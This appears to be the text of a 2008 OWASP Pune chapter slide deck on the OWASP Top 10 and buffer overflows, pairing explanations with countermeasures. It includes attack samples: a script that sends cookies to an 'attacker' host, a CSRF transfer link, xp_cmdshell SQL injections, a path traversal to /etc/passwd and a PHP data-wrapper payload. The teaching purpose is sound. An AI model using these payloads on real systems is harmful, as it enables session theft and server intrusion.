Owasp Top 10 - Owasp Pune Chapter - January 2008

SANS @RISK December 2007 3 Dec 10 Dec 17 Dec 24 Dec 31 Dec Total Microsoft Products 2 3 12 0 2 19 Mac 2 2 2 4 0 10 Linux 10 5 8 11 0 34 Unix, Solaris, etc 5 3 3 4 1 16 Network Device 1 3 1 1 1 7 Others ( various ) 31 33 30 37 16 147 Web Applications 70 34 52 35 52 243

“ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks. Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”

U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP) Payment Card Industry (PCI) standard & some of the leading corporations around the globe …

Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets. Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service. Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.

A1 – Cross Site Scripting (XSS) ...................................................................................................................................... A2 – Injection Flaws ...................................................................................................................................... A3 – Malicious File Execution ...................................................................................................................................... A4 – Insecure Direct Object Reference ...................................................................................................................................... A5 – Cross Site Request Forgery (CSRF) ...................................................................................................................................... A6 – Information Leakage and Improper Error Handling ...................................................................................................................................... A7 – Broken Authentication and Session Management ...................................................................................................................................... A8 – Insecure Cryptographic Storage ...................................................................................................................................... A9 – Insecure Communications ...................................................................................................................................... A10 – Failure to Restrict URL Access ......................................................................................................................................

Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space. It is well known vulnerability Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.

Common software security flaw Commonly affect C and C++ Google for buffer overflows.

int main(int argc, void ** argv[]) { char buff[64]; strcpy(buff,argv[1]); return 0; } What will happen if we pass 100 character long string as a argument ???? No Boundary Check

Buffer 1 Return address Other data -------------- --------------

-------------- -------------- \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 Return Address Filled Buffer with NOP’s and Shellcode Shellcode

Occurs when too much data is written into the allocated heap area. Generally allocated by malloc(). Snippest: #define BUFSIZE 256 int main(int argc, char **argv) { char *buf; buf = (char *)malloc(BUFSIZE); strcpy(buf, argv[1]); }

It occurs when user supplied input data is processed as a command by an application. The application doesn’t validate user supplied data. The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.

Format String parameters : %d, %c, %d, %n, %s etc When passed these arguments may, -- read values from the stack -- write values on the stack -- execute arbitrary code Example: printf (Input Data);

Old EIP over-write method New techniques are evolved Structured Exception Handler Over-write Heap Spray Heap Feng Shui Not a part of this presentation Demo : Heap Spray 

Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking. Always check the bounds of an array before writing it to a buffer. Validate user supplied data for format string parameters Use automated tools like fuzzers to test bo’s Manual code review – Best one, needs good efforts from Reviewer Follow OWASP guidelines www.owasp.org

The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated. Very simple and Dangerous attack Got popular in recent times Performs GET/POST request of attacker’s choice on behalf of logged in user Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc

It’s just one-click attack (According to MS) Malicious request can be embedded in <img>, <href>, <iframe> tags Website has a trust in user Browser will automatically parse the request based on user session cookies Example. Gmail flaw lets anyone to read the friend’s list

Stored CSRF / Persistent - Example: Simply store it in <img> tag Reflected / Non – Persistent - Example: Send a malicious link

www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Sends an email containing malicious href tag. Click Here Transfer Money <a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000 > 1 2 3 4 5 6 7

User logs into bank.com using user-id and password. The Bank.com sends cookies to the user if he is valid one for later authentication. User performs other request like balance enquiry etc. While user is online, he receives an email saying you have own $1,00,000. Innocent user clicks on the link without any concern. The link contains malicious fund transfer request. The request is sent to the bank.com by the browser treating it is a valid one. The money gets transferred to the attacker.

Use security tokens or security key for every request URL and form posting Use POST request instead of GET Referrer header field check Manual testing for CSRF Re-authenticate the user for critical operations Log off before visiting unknown domains

Use POST request instead of GET  Alone it is not sufficient, can be done using XmlHttpRequest using javascript Referrer header field check  Can be spoofed Best is to use random tokens/keys for every request

ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page ASP. net property that helps you to prevent CSRF attacks Set this property to user-id or session id

XSS allow script to be executed at client side. Website allows a user to inject arbitrary HTML Code Exists due to bad input validation Forces a website to echo attacker’s supplied code Compromises trust between user and website

May steal cookies, redirect you to another location Different from CSRF (cross site request forgery) Very known old bug Can be used for phishing

Simple XSS :- <script> alert (‘XSS’) </script> Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script >; Attack: <a href= http://test.com/test.php?var=<script>alert(‘XSS’)</script>; ></a> Attack: <script>document.location=“http://attacker/steal_cookies.php?cookies=“+ document.cookie </script>

Reflected XSS / Persistent Stored XSS / Non – Persistent DOM Based XSS

Easiest to exploit Immediate response to HTTP request Page directly reflect user supplied data back to user Typically search engine results, error messages May reach you from email messages

Stores XSS in a database or file Stored permanently Very dangerous for blogs, forums Large number of victim gets affected while accessing stored XSS Eg. Samy Worm -- MySpace Worm JS-Yamanner – Yahoo Worm

Don’t send the malicious data to the server in the first place Insecure object reference and use of DOM objects that are not fully controlled by the server provided page Objects: location, URL, referrer etc Example: document.location + $username

www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Click Here Stolen Cookies 1 2 3 4 5 6 7 Sends malicious request <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>

Powerful language Attacker can manipulate the webpage Can add new elements or change the look of the page Mostly used in XSS attack XSS can be carried out using VBScript, Activex, Flash etc

HTML injection plus XSS Attacker used <embed> tag and Flash Orkut application failed to parse user supplied data Affected 7,00,000 accounts in 24 hours The worm only forces victim to join attacker’s own community. Attacker can have done even worse !!!

Application copied all the data after wmode The code gets converted into javascript and flash object Attacker successfully inserted other script which will run his malicious code Orkut has patched this bug 

Validate or encode all input parameters Output Encoding Output Encoding - Microsoft AntiXSS Library Filter every parameter of the request including header fields mainly <, > Check for length, type, syntax….. Use automated tools for finding XSS – Microsoft XSS Detect Use NoScript plug-in for firefox Disable Javascript if possible Don’t trust on suspicious emails Don’t visit untrusted websites

SQL Injection The ability to inject SQL commands into the database engine through an existing application. How common it is? It is probably the most common Web application vulnerability. It is a flaw in "web application" development, it is not a DB or web server problem. Most programmers are still not aware of this problem. A lot of the tutorials & demo “templates” are vulnerable. Even worse, a lot of solutions posted on the Internet are not good enough.

Almost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more

Extracting data from Metadata OS Interaction '; exec master..xp_servicecontrol 'start','FTP Publishing' – Assessing Network Connectivity '; exec master..xp_cmdshell 'ping MyIP' --

How does an attacker detect SQL Injection vulnerabilities on a web page? SQL Error messages Breaks the query syntax and looks for error messages. SQL Disclosure Injects variations of OR 1=1 and looks for Table growth. Union injection approach. Blind SQL Injection Injects True injection string ‘OR 1=1 and False Injection strings ‘AND 1=0 Compare original response, true response and false response. SQL Injection Time delay Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note: Time delay SQL clauses are database specific.

SQL Error Messages Try to break syntax of SQL query Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error

Blind SQL Injection Determine if a page is vulnerable based on responses to TRUE/FALSE queries Base query select * from table where col1 = ‘x’; Store response R0 TRUE query Inject: ‘ OR 1=1; -- Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- Store response R1 FALSE query Inject: ‘ AND 1=0; -- Injected query: select * from table where col1 = ‘x’ AND 1=0; -- Store response R2 If ( R0 is identical with R1/R0 is identical with R2) and R1 differs from R2 , page is vulnerable to exploitation via Blind SQL injection technique

SQL Injection – Time delay Determine if a page is vulnerable based on default response time and delayed response time. Default response time Obtain the default response time per field by breaking the query - defaultTimeUsed . Delayed response time Inject “; waitfor delay ’00:00:15’” in the application query for every field. Obtain the delayed response time - actualTime . If actualTime > defaultTimeUsed + timeSpread - 500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.)

How to prevent SQL Injection? Development phase Input validation Parametrized queries QA phase Source code auditing Hack your own web application Production phase Web application firewall (Intrusion Detection System)

Sample secure code Input validation if (<validating_condition>) String sqlQuery = “SELECT * FROM users WHERE userid = ‘” + username + ‘”; else throw new IllegalArgumentException(); if (<validating_condition>) could be a simple length check, such as: if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b”) )

Sample secure code Prepared statement String username = httpRequest.getParameter(“username”); String query = “SELECT * FROM users WHERE userid = ?”; PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();

SQL Injection is one of the most dangerous attack in the Web application security world. An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically. Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.

OWASP Definition: Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.

A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include: Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software) Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+

Do not allow user input to be used for any part of a file or path name. Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value. File uploads have to be done VERY carefully. Only allow uploads to a path outside of the webroot so it can not be executed Validate the file name provided so that a directory path is not included. Implement or enable sandbox or chroot controls which limit the applications access to files.

Insecure Direct Object Reference

OWASP Definition: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.

Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable. For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources. <select name="language"><option value="fr"> Français </option> </select> … require_once ($_REQUEST['language’]."lang.php"); Such code can be attacked using a string like "../../../../etc/passwd%00" using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system

Avoid exposing private object references to users whenever possible, such as primary keys or filenames Validate any private object references extensively with an "accept known good" approach Verify authorization to all referenced objects

OWASP Definition: Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.

Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this: Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes

Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.) Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input. Provide short error messages to the user while logging detailed error information to an internal log file. Diagnostic information is available to site maintainers Vague messages indicating an internal failure provided to the users Provide just enough information to allow what is reported by the user to be able to linked the internal error logs. For example: System Time-stamp, client IP address, and URL

Ensure sensitive responses with multiple outcomes return identical results Save the different responses and diff the html, the http headers & URL. Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.

OWASP Definition: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.

HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question: After a user authenticates how does the server associate subsequent requests to the authenticated user? Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly. Often developers will make the mistake of inventing their own session tracking. Cookie Cruncher

Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.

Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with other attacks.

Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent disclosure and hijacking. A URL query string should not be used for Session ID or any User/Session information URL is stored in browser cache Logged via Web proxies and stored in the proxy cache Example: https://www.example.net/servlet/login ?userid=ralph&password=dumb

Password Change Controls - require users to provide both old and new passwords Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address. Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case. Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.

Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form. Protecting Credentials in Transit - to prevent "man-in-the-middle" attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1 Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates. Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.

login.asp homepage.asp login.asp homepage.asp logoff Client Server GET www.abc.com www.abc.com/login.asp POST username + password www.abc.com/homepage.asp

login.asp authenticate.asp login.asp Redirect request logoff homepage.asp homepage.asp Client Server GET www.abc.com www.abc.com/login.asp POST username + password Redirect : www.abc.com/homepage.asp GET www.abc.com/homepage.asp www.abc.com/homepage.asp

OWASP Definition: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.

Preventing cryptographic flaws takes careful planning. The most common problems are: Not encrypting sensitive data Using home grown algorithms Insecure use of strong algorithms Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…) Hard coding keys, and storing keys in unprotected stores

Improper/insecure storage of passwords, certifications, and keys Poor choice of algorithm Poor source of randomness for initialization vectors Attempting to develop a new encryption scheme "in house” (Always a BAD idea) Failure to provide functionality to change encryption keys 1] SQL credentials 2] x = input(); y=f(x);

Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better Generate keys offline and store private keys with extreme care. Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured. Ensure that encrypted data stored on disk is not easy to decrypt.

OWASP Definition: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications .

Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted. Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request. Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.

Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.

OWASP Definition: Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.

The primary attack method for this vulnerability is called "forced browsing", which encompasses guessing links and brute force techniques to find unprotected pages. Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike. This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. .

Ensure the access control matrix is part of the business, architecture, and design of the application Ensure that all URLs and business functions are protected by an effective access control mechanism Perform a penetration test Pay close attention to include/library files Do not assume that users will be unaware of special or hidden URLs or APIs. Block access to all file types that your application should never serve. Keep up to date with virus protection and patches

OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org ) Microsoft :: Improving Web Application Security : Threats and Countermeasures ( http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en ) SANS @Risk ( www.sans.org ) SPI Dynamics ( http://spidynamics.com/index.html ) FoundStone HacMe resources ( http://www.foundstone.com/us/resources-free-tools.asp )

[email_address] [email_address] [email_address]

Owasp Top 10 - Owasp Pune Chapter - January 2008

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Owasp Top 10 - Owasp Pune Chapter - January 2008 (20)

Recently uploaded (20)

Owasp Top 10 - Owasp Pune Chapter - January 2008